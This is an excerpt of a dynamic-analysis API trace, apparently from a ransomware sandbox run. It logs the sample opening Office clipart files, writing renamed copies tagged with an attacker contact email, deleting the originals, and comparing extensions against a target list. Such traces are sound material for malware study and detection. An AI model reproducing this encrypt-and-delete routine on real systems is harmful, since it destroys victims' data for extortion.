	[0176.711] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3c70, lpOverlapped=0x0) returned 1
	[0176.712] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.713] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.713] SetEndOfFile (hFile=0x52c) returned 1
	[0176.713] CloseHandle (hObject=0x52c) returned 1
	[0176.713] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.713] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.717] CloseHandle (hObject=0x2a8) returned 1
	[0176.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1
	[0176.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0176.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0176.719] lstrlenW (lpString=".doc") returned 4
	[0176.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.719] lstrlenW (lpString=".docx") returned 5
	[0176.719] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0176.719] lstrlenW (lpString=".pdf") returned 4
	[0176.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.719] lstrlenW (lpString=".xls") returned 4
	[0176.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.719] lstrlenW (lpString=".xlsx") returned 5
	[0176.719] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0176.719] lstrlenW (lpString=".ppt") returned 4
	[0176.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0176.719] lstrlenW (lpString=".zip") returned 4
	[0176.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.719] lstrlenW (lpString=".rar") returned 4
	[0176.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.719] lstrlenW (lpString=".bz2") returned 4
	[0176.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.719] lstrlenW (lpString=".7z") returned 3
	[0176.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0176.719] lstrlenW (lpString=".dbf") returned 4
	[0176.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0176.720] lstrlenW (lpString=".1cd") returned 4
	[0176.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0176.720] lstrlenW (lpString=".jpg") returned 4
	[0176.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.720] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=18500) returned 1
	[0176.720] CloseHandle (hObject=0x2a8) returned 1
	[0176.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220
	[0176.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.721] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.722] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0176.723] GetLastError () returned 0x0
	[0176.723] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4844, lpOverlapped=0x0) returned 1
	[0177.109] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4850, lpOverlapped=0x0) returned 1
	[0177.110] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.110] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.111] SetEndOfFile (hFile=0x52c) returned 1
	[0177.111] CloseHandle (hObject=0x52c) returned 1
	[0177.111] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.111] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.114] CloseHandle (hObject=0x2a8) returned 1
	[0177.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1
	[0177.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0177.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0177.116] lstrlenW (lpString=".doc") returned 4
	[0177.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.116] lstrlenW (lpString=".docx") returned 5
	[0177.116] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0177.117] lstrlenW (lpString=".pdf") returned 4
	[0177.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.117] lstrlenW (lpString=".xls") returned 4
	[0177.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.117] lstrlenW (lpString=".xlsx") returned 5
	[0177.117] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0177.117] lstrlenW (lpString=".ppt") returned 4
	[0177.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0177.117] lstrlenW (lpString=".zip") returned 4
	[0177.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.117] lstrlenW (lpString=".rar") returned 4
	[0177.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.117] lstrlenW (lpString=".bz2") returned 4
	[0177.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.117] lstrlenW (lpString=".7z") returned 3
	[0177.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0177.117] lstrlenW (lpString=".dbf") returned 4
	[0177.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0177.117] lstrlenW (lpString=".1cd") returned 4
	[0177.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0177.117] lstrlenW (lpString=".jpg") returned 4
	[0177.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.118] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=16492) returned 1
	[0177.118] CloseHandle (hObject=0x2a8) returned 1
	[0177.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220
	[0177.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0177.120] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.120] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0177.121] GetLastError () returned 0x0
	[0177.121] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x406c, lpOverlapped=0x0) returned 1
	[0177.124] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4070, lpOverlapped=0x0) returned 1
	[0177.125] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.125] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.125] SetEndOfFile (hFile=0x52c) returned 1
	[0177.126] CloseHandle (hObject=0x52c) returned 1
	[0177.126] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.126] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.130] CloseHandle (hObject=0x2a8) returned 1
	[0177.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1
	[0177.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0177.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0177.131] lstrlenW (lpString=".doc") returned 4
	[0177.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.131] lstrlenW (lpString=".docx") returned 5
	[0177.131] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.132] lstrlenW (lpString=".pdf") returned 4
	[0177.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.132] lstrlenW (lpString=".xls") returned 4
	[0177.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.132] lstrlenW (lpString=".xlsx") returned 5
	[0177.132] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.132] lstrlenW (lpString=".ppt") returned 4
	[0177.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0177.132] lstrlenW (lpString=".zip") returned 4
	[0177.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.132] lstrlenW (lpString=".rar") returned 4
	[0177.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.132] lstrlenW (lpString=".bz2") returned 4
	[0177.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.132] lstrlenW (lpString=".7z") returned 3
	[0177.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0177.132] lstrlenW (lpString=".dbf") returned 4
	[0177.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0177.132] lstrlenW (lpString=".1cd") returned 4
	[0177.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0177.132] lstrlenW (lpString=".jpg") returned 4
	[0177.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.136] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=11340) returned 1
	[0177.136] CloseHandle (hObject=0x2a8) returned 1
	[0177.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220
	[0177.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0177.138] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.138] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0177.139] GetLastError () returned 0x0
	[0177.139] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2c4c, lpOverlapped=0x0) returned 1
	[0177.141] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2c50, lpOverlapped=0x0) returned 1
	[0177.144] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.144] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.144] SetEndOfFile (hFile=0x52c) returned 1
	[0177.144] CloseHandle (hObject=0x52c) returned 1
	[0177.144] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.144] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.148] CloseHandle (hObject=0x2a8) returned 1
	[0177.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1
	[0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0177.149] lstrlenW (lpString=".doc") returned 4
	[0177.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.149] lstrlenW (lpString=".docx") returned 5
	[0177.149] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.149] lstrlenW (lpString=".pdf") returned 4
	[0177.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.150] lstrlenW (lpString=".xls") returned 4
	[0177.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.150] lstrlenW (lpString=".xlsx") returned 5
	[0177.150] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.150] lstrlenW (lpString=".ppt") returned 4
	[0177.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0177.150] lstrlenW (lpString=".zip") returned 4
	[0177.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.150] lstrlenW (lpString=".rar") returned 4
	[0177.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.150] lstrlenW (lpString=".bz2") returned 4
	[0177.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.150] lstrlenW (lpString=".7z") returned 3
	[0177.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0177.150] lstrlenW (lpString=".dbf") returned 4
	[0177.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0177.150] lstrlenW (lpString=".1cd") returned 4
	[0177.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0177.150] lstrlenW (lpString=".jpg") returned 4
	[0177.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.151] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=16432) returned 1
	[0177.151] CloseHandle (hObject=0x2a8) returned 1
	[0177.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220
	[0177.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0177.152] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.152] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0177.153] GetLastError () returned 0x0
	[0177.153] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4030, lpOverlapped=0x0) returned 1
	[0177.372] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4040, lpOverlapped=0x0) returned 1
	[0177.374] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.374] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.374] SetEndOfFile (hFile=0x52c) returned 1
	[0177.375] CloseHandle (hObject=0x52c) returned 1
	[0177.375] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.375] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.378] CloseHandle (hObject=0x2a8) returned 1
	[0177.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1
	[0177.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0177.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0177.380] lstrlenW (lpString=".doc") returned 4
	[0177.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.380] lstrlenW (lpString=".docx") returned 5
	[0177.380] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.380] lstrlenW (lpString=".pdf") returned 4
	[0177.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.380] lstrlenW (lpString=".xls") returned 4
	[0177.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.380] lstrlenW (lpString=".xlsx") returned 5
